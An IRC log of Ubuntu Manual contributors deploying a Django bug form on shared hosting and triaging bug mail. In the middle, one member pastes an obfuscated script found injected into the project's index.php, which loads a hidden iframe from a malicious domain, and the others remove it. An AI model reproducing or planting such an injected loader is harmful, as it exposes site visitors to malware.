 * godbyk likes to try to keep a tidy file system.
<godbyk> okay
<dutchie> there will be a bugs subdirectory
<godbyk> done.
<godbyk> so now we have ~/django-projects/ump/ with four files in it.
<dutchie> cd into it, edit settings.py with sensible values
<godbyk> editing
<dutchie> you know the DB stuff better than me
<godbyk> I set you and I as the admins.
<dutchie> ok
<godbyk> Is this just for the bugs stuff?
<godbyk> (so I know what to name the db, etc.)
<dutchie> yes
<dutchie> though there will be other django-y housekeeping stuff too
<godbyk> Should it be its own db or can it share the ubuntumanual db?
<dutchie> two things that you need are: '~/django-projects/ump/bugs/templates' in the TEMPLATE_DIRS tuple
<dutchie> godbyk: not sure, it creates its own tables and everything
<dutchie> you'll also need to add 'ump.bugs' in to INSTALLED_APPS
<godbyk> I'll create its own db then.
<dutchie> make sure DEBUG = False on a production server, too
<godbyk> media stuff?
<dutchie> leave that as empty, doesn't really matter
<godbyk> okay, I think I have all that set.
<dutchie> replace the urls.py with http://pastebin.com/mb3hAzfH
<godbyk> done
<dutchie> now do "bzr branch lp:ubuntu-manual/bug-form bugs"
<dutchie> no
<dutchie> lp:ubuntu-manual-website/bug-form
<godbyk> 'kay.
<godbyk> I'm creating bugs.ubuntu-manual.org
<godbyk> do you need passenger?
<dutchie> passenger?
<godbyk> it's a wsgi-type thing.
<godbyk> used with ruby on rails and python sometimes.
<godbyk> if you don't know what it is, it's probably not needed. :)
<dutchie> django can do its own wsgi stuff
<godbyk> 'kay
<dutchie> http://docs.djangoproject.com/en/1.1/howto/deployment/modwsgi/#howto-deployment-modwsgi
<godbyk> if the module isn't already installed I can't use it.
<dutchie> you'll want the WSGIScriptAlias directive in an apache vhost
<godbyk> okay, I've checked out the bug-form.
<dutchie> it's just mod_wsgi
<godbyk> I only have access to .htaccess files. it's a shared host.
<dutchie> hmm
<dutchie> well, however you're serving the separate domains already, will that not work?
<godbyk> if they have mod_wsgi.
<dutchie> i've only used mod_wsgi, but apparently you can use mod_python and FastCGI too
<godbyk> looks like we can either use FastCGI or Passenger.
<godbyk> http://wiki.dreamhost.com/Django
<dutchie> see if that script works
<godbyk> so you want me to set up passenger or what?
 * godbyk is confused.
<dutchie> yes, passenger
<dutchie> sorry
<dutchie> i've only deployed django on my vps, where i am in full control
<godbyk> 'kay.
<godbyk> yeah, I hear ya.
<godbyk> I'd love to have some rackspace where I can just drop in my own box and deal with all the admin stuff myself. Unfortunately, every place I've looked is expensive.
<dutchie> not thought of a vps?
<godbyk> Right now this shared host costs me < $7/month. :)
<dutchie> ah
<dutchie> my vps is Â£80/year
<godbyk> I have, but I haven't actually needed one before now, so there was no sense paying for it.
<godbyk> okay, passenger is set up.
<godbyk> nice.
<godbyk> I'll have to look into pricing with my current host.
<dutchie> so we're good to go, then?
<godbyk> Looks like the PS is priced based on memory usage: http://www.dreamhost.com/hosting-vps.html
<godbyk> not good to go yet.
<godbyk> files are all scattered about.
<dutchie> ah
<godbyk> so there's the ~/django-projects/ump/ dir, the ~/bzr/bugs-form dir, and the ~/bugs.ubuntu-manual.org/public/ dir.
<godbyk> what goes where? :)
<dutchie> what's in the ~/bug.ubuntu-manual.org/public/ dir?
<dutchie> the bugs-form one has to be in ump/ as bugs, though a symlink'll do
<godbyk> nothing
<godbyk> bugs symlink created.
<dutchie> probably best to ignore it then ;)
<godbyk> the bugs.ubuntu-manual.org/public/ dir is where the bugs.ubuntu-manual.org site points to.
<godbyk> so there should be, y'know, *something* there. :)
<dutchie> django computes what to serve more-or-less on the fly
<godbyk> like a dispatch script.
<godbyk> okay, but as set now, apache knows nothing of the files in ~/django-projects/...
<godbyk> so ~/django-projects/ump is just a folder.  apache only looks at ~/bugs.ubuntu-manual.org/public/ when you go to http://bugs.ubuntu-manual.org/
<dutchie> so from that wiki page, it looks like the ump/ dir should be in bugs.ubuntu-manual.org/
<godbyk> so we need to link some things there.
<godbyk> okay, still missing something.
<dutchie> maybe try running the django-admin.py script again with the ump dir in there?
<godbyk> says file exists.
<godbyk> http://pastebin.com/2GY7y1gD
<dutchie> err, django-setup.py
<dutchie> from http://wiki.dreamhost.com/django-setup.py
<godbyk> project name?
<godbyk> ump?
<dutchie> yeah
<godbyk> says that name is already used by a Python module.
<dutchie> in that case, mv ump temp and run it again
<godbyk> that worked
<dutchie> what's it done?
<godbyk> still entering info
<godbyk> entered the db info
<godbyk> it created the project framework:
<godbyk> passenger_wsgi.py
<dutchie> paste tree again?
<godbyk> Checking connection...  looks good!
<godbyk> Creating project framework...  creating passenger_wsgi.py...  customizing settings...  setting permissions...  copying admin media...  OK
<godbyk> Running manage.py syncdb...
<godbyk> Creating table django_admin_log
<godbyk> Creating table auth_permission
<godbyk> Creating table auth_group
<godbyk> Creating table auth_user
<godbyk> Creating table auth_message
<godbyk> Creating table django_content_type
<godbyk> Creating table django_session
<godbyk> Creating table django_site
<godbyk> You just installed Django's auth system, which means you don't have any superusers defined.
<godbyk> Would you like to create one now? (yes/no):
<godbyk> still running the script..
<dutchie> OK
<godbyk> Would you like to create one now? (yes/no): yes
<godbyk> Username (Leave blank to use 'godbyk'):
<godbyk> E-mail address: kevin@ubuntu-manual.org
<godbyk> Password:
<godbyk> Password (again):
<godbyk> Superuser created successfully.
<godbyk> Installing index for admin.LogEntry model
<godbyk> Installing index for auth.Permission model
<godbyk> Installing index for auth.Message model
<godbyk> SUCCESS! Your Django application is fully set up - enjoy!
<dutchie> is that the script finished?
<godbyk> editing the files again.
<godbyk> what was the installed_apps you wanted me to add?
<dutchie> ump.bugs
<godbyk> anything else I need to edit in settings.py?
<dutchie> not off the top of my head
<godbyk> I edited the urls.py file to match yours.
<godbyk> and the bugs-form branch should be symlinked to ump/bugs?
<dutchie> yes
<godbyk> 'kay.
<godbyk> http://bugs.ubuntu-manual.org/
<godbyk> looks like I need to install the launchpadlib module.
<dutchie> yes
<godbyk> got a url handy?
<dutchie> and you probably should have debug = False on a public thing
<godbyk> well, I will once we finish getting it set up.
<dutchie> https://edge.launchpad.net/launchpadlib
<dutchie> doubt it'll be packaged to be honest
<godbyk> they've got a tarball of 1.6.0. is that new enough?
<dutchie> probably
<dutchie> it's what i've got here
<godbyk> 'kay
<godbyk> working on installing that now
<godbyk> apparently their setup script doesn't install all the prereqs.
 * godbyk grumbles.
<godbyk> >>> import launchpadlib.launchpad
<godbyk> Traceback (most recent call last):
<godbyk>   File "<stdin>", line 1, in ?
<godbyk>   File "/home/godbyk/local/lib/python2.4/site-packages/launchpadlib-1.6.0-py2.4.egg/launchpadlib/launchpad.py", line 29, in ?
<godbyk>     from lazr.restfulclient.resource import (
<godbyk>   File "/home/godbyk/local/lib/python2.4/site-packages/lazr.restfulclient-0.9.14-py2.4.egg/lazr/restfulclient/resource.py", line 33, in ?
<godbyk>     from email.message import Message
<godbyk> ImportError: No module named message
<godbyk> now I get to chase down some dependencies, I s'pose.
<dutchie> godbyk: https://help.launchpad.net/API/launchpadlib
<godbyk> I think it downloaded those libs automatically.
<godbyk> where's Message?
<dutchie> not a clue
<godbyk> is it a standard python lib or a launchpadlib thing?
<dutchie> import email # directory /usr/lib/python2.6/email
<dutchie> # /usr/lib/python2.6/email/__init__.pyc matches /usr/lib/python2.6/email/__init__.py
<dutchie> import email # precompiled from /usr/lib/python2.6/email/__init__.pyc
<dutchie> looks standard python to me
<godbyk> import email works here
<godbyk> import launchpadlib works too
<godbyk> but import launchpadlib.launchpad fails.
<dutchie> # /usr/lib/python2.6/email/message.pyc matches /usr/lib/python2.6/email/message.py
<dutchie> import email.message # precompiled from /usr/lib/python2.6/email/message.pyc
<godbyk> import email.message failed.
<godbyk> import email.Message worked.
<godbyk> guess I'll see about a newer version of email.
<godbyk> apparently I'm running python 2.4, too.  ew.
<dutchie> ew indeed
<godbyk> import email.message works fine with python2.5 (which is also installed).
<godbyk> maybe I'll try to use it.
<godbyk> (otherwise I'll have to download python2.6 and install it manually to my home dir.)
<dutchie> that sounds fun
<godbyk> loads
<godbyk> installing launchpadlib with python2.5 now.
<godbyk> I have to figure out how to get the passenger stuff to use python2.5 now, instead of the python2.4.
<godbyk> shoot me, please.
<godbyk> I'm going to fix something for lunch first.
<godbyk> I'll be back in a bit.
<dutchie> could be as simple as changing the top line to #!/usr/bin/python2.5
<godbyk> tried. didn't seem to help any
<godbyk> most the files don't have that line anyway
<godbyk> I'm going to add it next and see if it makes a diff
<ChrisWoollard_An> I notice that a lot of bugs have been filed today
<godbyk> Yeah, quite a few.  Ben posted a blog entry: http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
<ChrisWoollard_An> I wonder how many are duplicates
<godbyk> I haven't read most of them.
<godbyk> I'm going to look at them a bit later.
<ChrisWoollard_An> I did spot that a couple are more rewrite suggestions
<dutchie> godbyk: figured out django yet?
<godbyk> dutchie: setting the #! lines didn't help. I've just finished building python 2.6.5 and now I'm building django.
<godbyk> django's done.  working on python-mysql now.
<godbyk> hmm.. rebuilding python as it apparently didn't get the _md5 module built or something.
<godbyk> it's a good thing you unsubscribed the mailing list from all the bug emails. holy crap!
<thorwil> oh, i was going to suggest something like that ;)
<ubuntujenkins> godbyk: have you seen http://media.joshh.co.uk/Screenshot.png
<godbyk> ubuntujenkins: yeah, and I saw the problem myself yesterday. when I refresh, it didn't warn me anymore.
<godbyk> I looked at the webmaster tools / malware section and it says google has detected no malware on this site.
<godbyk> so I'm not sure what the story is.
<ubuntujenkins> o thats what i was going to ask i needed to find the name of the tool. strange
<godbyk> dutchie: you still around? http://bugs.ubuntu-manual.org/
<dutchie> eating
<godbyk> dutchie: from the error.log file:
<godbyk> [Sun May 23 13:19:51 2010] [error] [client 131.231.221.4] Premature end of script headers:
<godbyk> [Sun May 23 13:19:51 2010] [error] [client 131.231.221.4] Premature end of script headers: internal_error.html
<godbyk> np. whenever you get back.
<godbyk> launchpadlib stuff is working okay in python now (afaict)
<godbyk> running python 2.6.5.
<godbyk> dutchie: okay, I may have fixed that issue.. http://bugs.ubuntu-manual.org/  now it's just spinning.
<dutchie> i know why
<dutchie> nearlyh finished
<godbyk> oh, oikay
<godbyk> cool
<godbyk> no rush
<godbyk> (the previous problem was due to the passenger stuff pointing at the system python binary instead of my home-dir binary.)
<dutchie> right
<dutchie> step one: stop the webserver running bugs.u-m.org
<ubuntujenkins> anyone good with udev rules? I can't get mine to work
<godbyk> dutchie: um.. what? remember, I don't have control over anything.
<godbyk> dutchie: can we skip along to step 2? :)
<dutchie> ./manage.py runserver
<godbyk> dutchie: I can do that, but it binds to 127.0.0.1:8000.
<godbyk> what's step 3? :)
<dutchie> can you not use lynx/w3m/whatever?
<godbyk> I can, yeah.
<godbyk> 'kay.
<godbyk> I see your bug form
<godbyk> (using lynx)
<dutchie> has anything appeared on the thingy running the server whatsit?
<godbyk> we have to be kind of fast 'cause they'll kill the process if it runs too long.
<dutchie> is there a thing giving you a url to authenticate to?
<dutchie> otherwise we'll have to fall back to something else
<godbyk> when I look at 127.0.0.1:8000 with lynx, I can see your bug form.
<dutchie> yes
<godbyk> okay.
<godbyk> what auth stuff are you talking about?
<dutchie> is there a thing appearing from where you are running the server?
<godbyk> nope. just: [23/May/2010 13:52:34] "GET / HTTP/1.0" 200 4075
<dutchie> i mean the output from ./manage.py runserver
<dutchie> hmm
<dutchie> try submitting a test bug
<godbyk> full output:
<godbyk> $ ./manage.py runserver
<godbyk> Validating models...
<godbyk> 0 errors found
<godbyk> Django version 1.1.1, using settings 'ump.settings'
<godbyk> Development server is running at http://127.0.0.1:8000/
<godbyk> Quit the server with CONTROL-C.
<godbyk> [23/May/2010 13:52:34] "GET / HTTP/1.0" 200 4075
<IlyaHaykinson> wtf. the website has spyware??
<ubuntujenkins> IlyaHaykinson: yep we can't work ot why its doing it
<godbyk> dutchie: 500 internal error.  [23/May/2010 13:55:35] "POST / HTTP/1.0" 500 108815
<IlyaHaykinson> any recent checkins perhaps?
<dutchie> that shouldn't happen
<godbyk> IlyaHaykinson: no clue!  the google.com webmaster tools say that there's no malware on the site. when I refresh the site, the malware warning goes away.
<godbyk> IlyaHaykinson: no recent checkins.
<godbyk> IlyaHaykinson: I'm gonna have a proper look at the files when I get done getting dutchie's bug form up.
<godbyk> dutchie: ah, debugging output from the browser.
<godbyk> one moment.
<godbyk> dutchie: http://paste.ubuntu.com/438487/
<IlyaHaykinson> what're we putting up for bugs?
<IlyaHaykinson> intreface to laucnhpad?
<godbyk> dutchie: and they're right.. the um_bugs.bugs_bug table doesn't exist.
<godbyk> the tables in um_bugs db are auth_* and django_*
<dutchie> how odd
<godbyk> IlyaHaykinson: yeah, that's the goal, I think.
<dutchie> is ump.bugs in INSTALLED_APPS?
<godbyk> dutchie: yes.
<dutchie> try running ./manage.py syncdb
<godbyk> it created the bugs_bug table.
<IlyaHaykinson> bbiab
<godbyk> submitting bug form again.
<godbyk> ps is showing 'links https://staging.launchpad.net/+authorize-token?oauth_token=B0KP2Qht5SCVhCrsG7h8', fwiw.
<godbyk> just hanging out.. waiting for something to time out or error out or maybe even succeed.
<godbyk> dutchie: it's still waiting for a response.
<dutchie> so can you connect to that staging.lp.net url?
<godbyk> from where?
<godbyk> worked in my local browser.
<godbyk> asks for email and password.
<godbyk> aha!
<godbyk> I see the problem.
<godbyk> the copy of links on the server doesn't have ssl support.
<godbyk> it didn't show the error dialog on the manage.py screen -- only the black screen of the links browser.
<godbyk> after hitting Q and exiting the browser on that screen, it says:
<godbyk> The authorization page:
<godbyk>    (https://staging.launchpad.net/+authorize-token?oauth_token=B0KP2Qht5SCVhCrsG7h8)
<godbyk> should be opening in your browser. After you have authorized
<godbyk> this program to access Launchpad on your behalf you should come
<godbyk> back here and press <Enter> to finish the authentication process.
<godbyk> Should I auth myself into launchpad via that url on my home machine?
<IlyaHaykinson> ok, something on the site is inserting a <script> tag.
<godbyk> IlyaHaykinson: weird.
<godbyk> lynx is so damn pedantic.
<IlyaHaykinson>                 <script language=JavaScript>document.write(unescape('%3ci%66ram%65 %77%69d%74h=1%20heig%68t=1 %62o%72der=0 fram%65%62o%72der'+'=0 %73rc=%27%68ttp://carolecos%74a%6e%7a'+'o.com%2f%73td'+'%2fgo.%70'+'h%70?sid=1%27%3e%3c/i%66rame%3e'+''))</script>            <div id="footer">
<IlyaHaykinson>               
<IlyaHaykinson> in my case
<godbyk> IlyaHaykinson: that's interesting.
<godbyk> IlyaHaykinson: where is it at on the page?
<IlyaHaykinson> right above the footer
<IlyaHaykinson> the URL is different
<godbyk> okay. I'll look.
<IlyaHaykinson> not every time, but on another machine it was different
<godbyk> IlyaHaykinson: is it gone now?
<godbyk> I just removed a line from the index.php file.
<ubuntujenkins> http://paste.ubuntu.com/438496/ is now our home page
<dutchie> godbyk: log in with the new secret UMP persona account
<godbyk> dutchie: okay, lemme fix the site first.
<godbyk> ubuntujenkins: try again.
<ubuntujenkins> godbyk:  it works
<dutchie> godbyk: no rush. i pm'ed you the logon
<ubuntujenkins> no malware error as of yet
<IlyaHaykinson> what was it?
<godbyk> IlyaHaykinson: I'll email it to you.
<godbyk> IlyaHaykinson: someone added a <script> line a the bottom of the index.php
<godbyk> file
<IlyaHaykinson> manually??
<godbyk> most of the files are set to 755 perms.
<IlyaHaykinson> ah
<godbyk> I swear I've fixed them before.
<godbyk> can you check the permissions of the files in the repos?
<godbyk> (changes I make here will get overwritten in a moment.)
<IlyaHaykinson> i don't know how bzr tracks those
<godbyk> I'm pulling the latest version and we'll see what the permissions are.
<godbyk> it does track them
<godbyk> 'cause I've fixed 'em before.
<godbyk> yeah, they're messed up in the repos.
<IlyaHaykinson> probably gets checked out as rw for the user.
<godbyk> I'll fix 'em there.
<IlyaHaykinson> ah. interesting
<ubuntujenkins> did the script line do anything bad?
<IlyaHaykinson> try to load some malware site
<ubuntujenkins> not good then
<ubuntujenkins> night all
<godbyk> pushing fixed permissions
<godbyk> g'night, ubuntujenkins
<godbyk> anyone know how I can set the default text-based browser to lynx (from links)?
<godbyk> I guess I could be evil and symlink it. ;-)
<Zeike> godbyk: update-alternatives might do that for you
<godbyk> Zeike: I don't have root access.
<godbyk> so it'd have to be an environment variable or something.
<godbyk> the symlink is working for now.
<godbyk> I just added a symlink named 'links' to my ~/bin/ dir. it points to /usr/bin/lynx.
<godbyk> (and ~/bin is in the PATH before /usr/bin)
<Zeike> I think $BROWSER should work
<godbyk> Zeike: thanks, I'll give it a shot in a few minutes.
<IlyaHaykinson> *sigh*. it's really hard to follow bug location instructions
<IlyaHaykinson> "chapter 1, page 11, paragraph 2"
<IlyaHaykinson> in a text editor, that's very ambiguous
<godbyk> IlyaHaykinson: agreed.
<godbyk> someone was posting patches with their bugs.
<godbyk> kinda nice.
<IlyaHaykinson> rly? didn't see htat.
<godbyk> I didn't look to see which branch they patched against, though.
<godbyk> Andrew, I think.
<IlyaHaykinson> ah ok
<IlyaHaykinson> i'll check it out when i get there
<godbyk> yeah, I'd really like to get started on fixing up the second edition.
<IlyaHaykinson> yup.
<IlyaHaykinson> how close are we on the localized versions?
<c7p> after the bug contest my mail is bombarded from bug reports :)
<godbyk> IlyaHaykinson: Greek and German are putting on the final touches.
<godbyk> I think everyone else is still translating or editing their translations.
<IlyaHaykinson> galician?
<IlyaHaykinson> they were so close before...
<godbyk> I think they're still translating and proofreading.
<dutchie> better get some sleep now, exam tomorrow
<dutchie> night all
<dutchie> (good luck with the django/launchpadlib stuff, godbyk)
<IlyaHaykinson> do we want it all in launchpad?
<IlyaHaykinson> seems like it's a big pita, what with all the emails to the list etc
<IlyaHaykinson> i thought there was discussion of just filing it all into some local DB
<IlyaHaykinson> and keeping it there
<godbyk> dutchie: what would my next step be?
<godbyk> or is this it?
<godbyk> just get it to connect to launchpad and that's all that's left?
<godbyk> I think I may have fixed it. testing...
<godbyk> IlyaHaykinson: we did kill the bug reports on the mailing list.
<godbyk> IlyaHaykinson: and it's apparently storing the bugs in a local db as well as launchpad.. or something.
<godbyk> not really sure.
<godbyk> still trying to set it up
<humphreybc> GAH! I can't work out how to unsubscribe our team's ML to all the bug mail
<ubuntujenkins> humphreybc: i think you have done iit
<humphreybc> howcome I keep getting all the bug mail though?
<c7p> so do I
<humphreybc> I've got like 50
<humphreybc> I don't think I have done it
<godbyk> humphreybc: 'cause you've subscribed to all the bugs in the project? (there's a dropdown list to get all bug email directly)
<ubuntujenkins> I only have the directly and not from the mailing list
<humphreybc> one sec
<ubuntujenkins> current subscriptions are https://bugs.edge.launchpad.net/ubuntu-manual/+subscribe
<godbyk> https://bugs.staging.launchpad.net/~bugs-ubuntu-manual
<IlyaHaykinson> it = what?
<IlyaHaykinson> is this some 3rd-party tool?
<humphreybc> http://humphreybc.homeip.net/files/bugs.png
<humphreybc> everything is unchecked
<godbyk> IlyaHaykinson: that's the result of a test with dutchie's bug form.
<godbyk> IlyaHaykinson: sadly, it's not working on the public site yet.
<ubuntujenkins> humphreybc:  thats what mine reads except i only have quickshot in the list of projects i can ssign
<humphreybc> and our team isn't listed in the bug subscribers list on the right
<godbyk> humphreybc: I think *you personally* are subscribed to all the bugs.
<IlyaHaykinson> godbyk: i see.
<humphreybc> godbyk, no, the emails are going to ubuntu-manual@lists.launchpad.net
<ubuntujenkins> they are in the archive for the list https://lists.launchpad.net/ubuntu-manual/msg01880.html
<godbyk> hmm..
<godbyk> strange.
<ubuntujenkins> I think the problem is we need to unscribe from the bugs that were filled before we added as contact like this one https://bugs.edge.launchpad.net/ubuntu-manual/+bug/584641
<humphreybc> (10:03:31) thumper: the email contact falls back to the project owner if there is no bug supervisor set
<humphreybc> (10:03:38) thumper: so the project owner will get the bug mail
<ubuntujenkins> *added = removed
<godbyk> 409 members -- wow!
<IlyaHaykinson> yeah, but active??
<humphreybc> I'm going to set our imaginary persona, Mikhail Berov, to bug supervisor so he gets all the mail instead of us
<godbyk> IlyaHaykinson: Well.. :)
<humphreybc> actually, no i'm not
<godbyk> humphreybc: I'm ignoring Mikhail. 'cause dutchie didn't know the right password. I just created a bug reporter account instead.
<godbyk> with the handy email of bugs@ubuntu-manual.org.
<humphreybc> oh
<humphreybc> okay then
<godbyk> I s'pose I should make them a member of the team. ;-)
<Zeike> humphreybc: Mind if I PM you for a minute?
<humphreybc> sure
<godbyk> IlyaHaykinson: 341 active members, per launchpad.
<humphreybc> this team will now get the bug mail: https://launchpad.net/~ubuntu-manual-bugs
<IlyaHaykinson> well, by active i mean 'actively contributing to our project'
<godbyk> IlyaHaykinson: I know.  I have no idea what the number would be.
<godbyk> IlyaHaykinson: You'd have to start by defining it much more clearly
<IlyaHaykinson> whoever "Mandy Zhou" is -- s/he is so attentive to detail.
<godbyk> IlyaHaykinson: re: 'freely contributed' -- you never know.. someone could be translating under duress.
<IlyaHaykinson> godbyk: heh. yeah.
<IlyaHaykinson> not going into that level of detail
<IlyaHaykinson> i hate the acronym FLOSS for the same reason
<humphreybc> IlyaHaykinson, meet Zeike, he's keen to help write things
<Zeike> hello!
<IlyaHaykinson> hi there
<IlyaHaykinson> er, probably the most important thing right _now_ is bug fixing
<humphreybc> yeah
<humphreybc> that makes sense, seeing as we have so many :P
<IlyaHaykinson> i don't think it's 'writing' per se.
<IlyaHaykinson> but there are also some missing sections
<IlyaHaykinson> in the hardware area, mainly
<humphreybc> Zeike: Have you got the branch/LaTeX installed or anything like that?
<Zeike> yes, I did that
<IlyaHaykinson> Zeike: if you feel comfortable with writing a comprehensive guide to keyboard/mouse/multilingual input, that would be helpful.
<IlyaHaykinson> we had to cut that last time
<humphreybc> Or if you know anything about Wubi :)
<IlyaHaykinson> but i think the keyboard settings are important...
<ubuntujenkins> we should update the website with my lucid ppa
<humphreybc> WHY AM I STILL GETTING BUG MAIL IN THE MAIN LIST
<ubuntujenkins> I think the problem is we need to unscribe from the bugs that were filled before we added as contact like this one https://bugs.edge.launchpad.net/ubuntu-manual/+bug/584641
<humphreybc> awh man
<godbyk> humphreybc has a fun day ahead of him. :)
<humphreybc> Ubuntu Manual Bugs is listed there though
<humphreybc> our team isn't
<ubuntujenkins> o it was earlier
<IlyaHaykinson> godbyk: bug #584602 is all yours...
<IlyaHaykinson> ubuntujenkins: not worth unsubscribing.
<IlyaHaykinson> those bugs will be closed very soon
<humphreybc> we're not even subscribed though
<humphreybc> everything should be working fine now
<IlyaHaykinson> on the previously-filed bugs, we are
<IlyaHaykinson> oh wait.
<IlyaHaykinson> no, i guess not on all of htem
<humphreybc> ubuntu-manual-bugs@lists.launchpad.net should get the bug mail now
<humphreybc> But I'm still getting bug mail!
<Zeike> IlyaHaykinson: it would probably be best for somebody who actually uses multilingual input regularlly to work on that
<Zeike> regularly, rather
<godbyk> IlyaHaykinson: I don't understand what the bug is referring to.
<godbyk> brb. I'm going to start dinner.
<humphreybc> ubuntu-manual-bugs is getting some of Ilya's bug mail: https://lists.launchpad.net/ubuntu-manual-bugs/
<IlyaHaykinson> godbyk: saying URLs are getting cut off in the PDF on display?
<c7p> night all and I hope you fix the bug mail issue :)
<IlyaHaykinson> Zeike: perhaps that's true. well, that's all i have off the top of my head though.
<Zeike> IlyaHaykinson: I can just fix some bugs then
<IlyaHaykinson> sweet, that'd be great.
<IlyaHaykinson> i'm going to commit my fixes now, feel free to pull in 5 mins and continue fixing any of the new ones as you see fit.
<IlyaHaykinson> argh, there's no bulk-edit for bugs in LP?
<humphreybc> lol nope
<humphreybc> harass thumper
<thumper> IlyaHaykinson: what are you wanting to do?
<IlyaHaykinson> switch status of a number of bugs at the same time
<godbyk> IlyaHaykinson: I'm not seeing any URLs that are truncated.
<IlyaHaykinson> maybe you can comment on the bug? i suspect that this is some PDF rendering issue...
<IlyaHaykinson> but i don't know using what viewer etc
<IlyaHaykinson> or resolve it as cannot repro, i guess
<godbyk> IlyaHaykinson: fair enough. I didn't know if I was missing something obvious.
<Zeike> IlyaHaykinson: I should assign some bugs to myself then?
<IlyaHaykinson> Zeike: yeah. i don't think anyone else is working bugs right now, and so feel free to start with the older ones.
<IlyaHaykinson> i mean, older ones from the last day or so.
<IlyaHaykinson> in the 584XXX range
<Zeike> ok
<godbyk> Hey, IlyaHaykinson, I liked your survey stuff.  Sounds like a good plan. Do you think we'll be able to collect that much money?
<IlyaHaykinson> i'm working on a few in the 5845XX range right now, for another 10 mins or so.
<godbyk> IlyaHaykinson: Also, we should get together and work on the style guide soon, too.
<IlyaHaykinson> godbyk: i will ask a friend of mine who is the CTO at kickstater
<godbyk> kickstarter is awesome.
<IlyaHaykinson> he should have an idea of a) whether they'd take us on, and b) whether it's likely we can raise that much
<IlyaHaykinson> ok, i'll post the research stuff on to the main list tonight then, for feedback.
<IlyaHaykinson> fwiw i can't find many examples of usability studies in the open source community
<IlyaHaykinson> there's the better desktop thing
<IlyaHaykinson> but that's novell, and that's several years old
<IlyaHaykinson> there was some usability intern working on ubuntu this past cycle
<IlyaHaykinson> on the software center, i think
<IlyaHaykinson> and then the Canonical folks do some UI studies
<godbyk> I know.
<godbyk> Most of it appears to never get made public.
<godbyk> The little bit that does occur, that is.
<IlyaHaykinson> so a couple of questions
<IlyaHaykinson> i'm going to try to use some space i think i can get
<IlyaHaykinson> at UCLA
<IlyaHaykinson> (i helped start a LUG there, a long time ago... they kinda like me there)
<godbyk> cool
<IlyaHaykinson> but i want to record the sessions
<IlyaHaykinson> i have a good camcorder
<IlyaHaykinson> and access to second one, even, if need be.
<IlyaHaykinson> but do you know of a way to get the screen recorded?
<IlyaHaykinson> we'd need a digital video mixer, or smth like that?
<godbyk> You could try the recordmydesktop package in Ubuntu.
<godbyk> (with gtk-recordmydesktop).
<IlyaHaykinson> won't help for the installation process
<godbyk> ah, that's true.
<IlyaHaykinson> which is what i want to capture
<IlyaHaykinson> i could use virtualbox
<IlyaHaykinson> but that'll just confuse the subjects
<IlyaHaykinson> i guess the other possibility is aiming a second camera at the screen
<godbyk> in that case you'll want a converter that can read the vga out and put it on a tv and record that stream. (or using a different video out format).
<IlyaHaykinson> and doing the little "clapper" thing like in movies to synchronize sound
<godbyk> If you use a real PC (instead of a laptop), you can record the video from the video card.
<IlyaHaykinson> using TV out?
<IlyaHaykinson> that requires OS to be loaded. so i won't get any BIOS stuff
<godbyk> Or a VGA-to-video converter box.
<IlyaHaykinson> ok, gotta go. my kid is up.
<godbyk> 'kay. see ya
<IlyaHaykinson> i'll be online later tonight.
<godbyk> okay.
#ubuntu-manual 2011-05-16
<JasonO> Did I miss the meeting or is it not suppose to begin now?
<JasonO> godbyk
#ubuntu-manual 2011-05-19
<issyl0> Hello all.
<issyl0> Heh, don't know what I did to webcam.tex in that last commit - there don't appear to be changes.  But the changes I wanted to commit were done properly, so that's good.  :-)
#ubuntu-manual 2011-05-21
<Andre_Gondim> godbyk, hi, I am working on maverick to generate a manual and I receive this message make: ** [ubuntu-manual-pt_BR.tex] Erro 9
<Captainkrtek> hey guys
<Andre_Gondim> godbyk, r u there?
<godbyk> Andre_Gondim: Check the ubuntu-manual-pt_BR.log file for a line that begins with a !.  It'll give you the error message there (along with a bit of context).
#ubuntu-manual 2011-05-22
<Andre_Gondim> godbyk, r u there?
<Andre_Gondim> godbyk, http://paste.ubuntu.com/611260/
<godbyk> Andre_Gondim: Which edition are you trying to build?
<godbyk> The credits3 environment is something I created just temporarily in the maverick edition (which won't generate translated editions yet).
<Captainkrtek> godbyk, you upload the new pdf to the site?
<Andre_Gondim> godbyk, I am working on maverick
<godbyk> Andre_Gondim: Okay, you can't compile the translations on maverick yet.
<godbyk> Captainkrtek: Not yet. I'm waiting to hear back as to what should be done about the missing screenshots.
<Andre_Gondim> godbyk, Do you have any idea when it will be possible to do it?
<godbyk> Andre_Gondim: After I get the English version of the maverick manual released, I'll upload the .pot file for the maverick translations so you guys can start translating.
<Andre_Gondim> start?
<Andre_Gondim> we finish him
<godbyk> Andre_Gondim: Not that maverick one. You've been working on the lucid-e2 translations.
<Andre_Gondim> hmmmm
<godbyk> Andre_Gondim: Actually, it looks like you've been translating lucid-e1. My mistake.
<godbyk> (Too many translations and editions for me to track these days!)
<Andre_Gondim> godbyk,  at this moment I'm working on lucid-e2
<Captainkrtek> godbyk, gotcha
<Captainkrtek> godbyk, need me to bootup a vm and get some screenshots for ya?
<godbyk> Captainkrtek: If you know what screenshots the author was looking for, sure.  We also need to get the Quickshot config file for 10.10 set up to nab those screenshots, too.
<Captainkrtek> godbyk, not sure what screenshots we are missing :/
<godbyk> Check the email I posted to the list a few hours ago.
<godbyk> Or just build the maverick PDF and look at the screenshots.log file for the list of missing screenshots.
<Captainkrtek> k
<Captainkrtek> Chapter 5, page 109: Menu hint section of an application page
<Captainkrtek> Chapter 5, page 110: Screenshot of a history page.
<Captainkrtek> Chapter 5, page 115: A .deb file in the Software Center
<Andre_Gondim> godbyk, http://pastebin.com/D3Zs7XkF
<godbyk> Captainkrtek: Yep, those are the ones.
<Captainkrtek> godbyk, downloading the quickshot ido
<Captainkrtek> isO*
<Captainkrtek> iso*
<godbyk> Andre_Gondim: My copy of lucid-e1 built the pt_BR translation just fine.  Are you using a newer pt_BR.po file?
<Andre_Gondim> godbyk, yeah, I am at lucid-e2
<godbyk> Andre_Gondim: Oh. Let me try that one.
<godbyk> Andre_Gondim: Lots of problems compiling that one.
<godbyk> The first dozen or so errors are because the pt_BR screenshots don't exist in the lucid-e2 repository.
<godbyk> Then there are errors because the glossary entries haven't been translated yet.
<godbyk> And it goes on from there.
<godbyk> Basically, the vast majority of the lucid-e2 text hasn't been translated to pt_BR yet -- at least not in the .po file included in the repository.
<godbyk> Andre_Gondim: Let me download the latest lucid-e2 pt_BR.po file from Launchpad and see if it works any better.
<Andre_Gondim> ok
<Captainkrtek> godbyk, anything the ubuntu-manual project could use a dedicated server for?
<godbyk> Captainkrtek: Good question.  Define 'dedicated server'. :)
<godbyk> Captainkrtek: At the moment, I'm hosting our website on my shared server.
